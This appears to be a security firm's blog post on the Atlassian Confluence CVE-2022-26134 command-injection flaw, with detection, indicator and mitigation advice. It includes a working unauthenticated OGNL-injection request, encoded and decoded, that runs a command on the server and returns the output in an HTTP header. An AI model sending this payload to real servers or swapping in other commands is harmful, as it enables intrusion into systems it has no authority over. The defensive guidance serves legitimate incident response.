What? Patrowl doesn’t report all your vulnerabilities?!
Blog: Critical Vulnerability on Atlassian Confluence / CVE-2022-26134
Author: Vlad
Published on
Origin
The vulnerability is exploited in the wild by unidentified attackers (but seems to be from somewhere in Asia 😉) and was spotted by the company Volexity against one of its customers.
Once the vulnerability has been exploited, a classic implant (as a form of a JSP page) is deployed to maintain access and progress.
Here is the article from Volexity: https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/
And the Atlassian Editor’s Advisory: https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
This is not the first time a group of attackers use a 0-day vulnerability (unknown to the rest of the world) to compromise exposed assets to Internet. This is a behavior that tends to become widespread with the reuse of the exploit, very quickly after its publication, by groups of cybercriminals.
Besides, now that the exploit code is public, everyone scans the Internet to find Confluence and hack them 😞.
The vulnerability
The vulnerability is quite trivial to exploit and allows executing a command directly on the Confluence server, without authentication.
Because it’s a command injection, it’s very stable and the exploit works every time!
Simply send the following request to a Confluence server (with the injected command in red:
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Decoded :
GET /${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime(). exec(“id”).getInputStream(),”utf-8″)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(“X-Cmd-Response”,#a))}/ HTTP/1.1
This exploit allows you to get the id of the account running Confluence in the “X-Cmd-Response” header.
This is again (a bit like for Log4J) the processing of a variable sent and interpreted by the software but allowing the interpretation of Java code provided simply in the form of text 😨. It’s simple and effective.
The exploit above declares a variable “#a” in which is stored the result and the execution of a command thanks to the Java function “java.lang.Runtime@getRuntime().exec() and stored for display at the attacker in an HTTP header: “X-Cmd-Response”.
Am i vulnerable ?
There are several aspects to detection: detecting if one is vulnerable, detecting attempted exploits, and detecting past exploits.
Note that if you use Confluence in SaaS version at Atlassian, you won’t be able to do much except ask the publisher to find out if they have detected any compromises.
Detecting if you are vulnerable
A “template” for Nuclei has been released, without persistence, and requiring listening to a DNS server to confirm the vulnerability: https://github.com/projectdiscovery/nuclei-templates/pull/4527/commits/46f6526d89ceb6d1d0e2e22a8e0f15b7186a0b7c and https://github.com/projectdiscovery/nuclei-templates/pull/4527
Because the check needs a connect back, it seems easier to me to do a detection with the injection of the “id” command and the result in the header mentioned above.
Detecting exploitation attempts
Here is a rule for Suricata Intrusion Detection Solution (IDS) but with a high risk of false positives, acceptable until we get a fix: https://github.com/c3rb3ru5d3d53c/signatures/blob/master/signatures/attack/injection/template/template.suricata-6.0.5.rules
Detect past exploits (and potential compromises)
You can search your logs first with a slight risk of false positives: (Windows) findstr -i ‘${‘ “C:\Program Files\Atlassian\Confluence\logs*” (Linux) grep “${” /var/log/*
The first attackers left traces that were fairly easy to find. You can search your Confluence servers for the following files: ./admin/findspaceattachments.jsp ./admin/cluster/hashclustername.jsp ./admin/default.jsp ./classpath.jsp ./errors/notfound.jsp ./500page.jsp ./errors.jsp ./noop.jsp You can also search for any JSP file created in say…the last 30 days.
What to do (if self hosting)
Update 04/06/2022: A real fix has been released by Atlassian https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html and https://www.atlassian.com/software/confluence/download-archives
Update of 03/06/2022: a new workaround is recommended, consisting in updating the impacted component. Given the atomicity of this change, if you can wait for the fix (which should be soon) then wait 😉.
For the moment there is no fix, only a workaround which consists in filtering the access URLs to Confluence if you have a WAF otherwise, as today is Friday, it may be possible to cut, temporarily , access to your Confluence exposed on the Internet.
It’s not great but I hope a fix will be offered soon.
Good luck and have a nice weekend.
Blog: We Wanted to Talk About Cyberattacks During the Olympics, but We Have Nothing to Say
Patrowl Raises €11m in Series A Funding: Continuous Protection of Internet Exposed Assets